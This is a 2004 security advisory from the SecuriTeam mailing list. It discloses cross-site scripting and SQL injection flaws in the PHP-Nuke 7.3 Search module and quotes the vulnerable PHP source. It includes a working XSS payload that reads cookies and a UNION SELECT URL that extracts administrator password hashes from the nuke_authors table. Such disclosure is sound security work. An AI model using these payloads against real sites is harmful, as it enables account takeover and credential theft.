[UNIX] PHPNuke Multiple Vulnerabilities in Search Module (Comments Search)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/22/04
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To: list@securiteam.com Date: 22 Jul 2004 18:21:50 +0200
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PHPNuke Multiple Vulnerabilities in Search Module (Comments Search)
------------------------------------------------------------------------
SUMMARY
" <http://www.phpnuke.org/> PHP-Nuke is a news automated system specially
designed to be used in Intranets and Internet. The Administrator has total
control of his web site, registered users, and he will have in the hand a
powerful assembly of tools to maintain an active and 100% interactive web
site using databases."
PHPNuke's search module is susceptible to a cross-site scripting and SQL
injection vulnerabilities, the later via the comments search feature.
DETAILS
Vulnerable Systems:
* PHP-Nuke version 7.3
In "/modules/Search/index.php", open the Search page and the XSS can be
exploited by issuing: http://localhost/nuke73/modules.php?name=Search
While entering into the input field something similar to:
1"><body onload="alert(document.cookie);
In order to understand the SQL injection issue, let's first look at the
source of the script:
} elseif ($type == "comments" AND isset($sid)) {
$res = $db->sql_query("select title from ".$prefix."_stories where
sid='$sid'");
list($st_title) = $db->sql_fetchrow($res);
$instory = "AND sid='$sid'";
echo "<center><font class=\"title\"><b>"._SEARCHINSTORY."
$st_title</b></font></center><br>";
} else {
echo "<center><font class=\"title\"><b>"._SEARCHIN."
$topictext</b></font></center><br>";
}
What can be seen from the code fragment above is that if the search type
is "comments" and there is no specified "sid", the SQL fragment "instory"
is not initialized. Looking a bit further:
} elseif ($type=="comments") {
..
..
$result8 = $db->sql_query("SELECT tid, sid, subject, date, name
from
".$prefix."_comments where (subject like '%$query%' OR comment
like '%$query%')
$instory order by date DESC limit $min,$offset");
..
..
When we reach the above code fragment, the $instory variable is
un-initialized and the bug allows an attacker to insert SQL clauses into
the query. Example:
http://localhost/nuke73/modules.php?name=Search&type=comments&query=not123exists&instory=/**/ UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors
ADDITIONAL INFORMATION
The information has been provided by <mailto:come2waraxe@yahoo.com> Janek
Vind.
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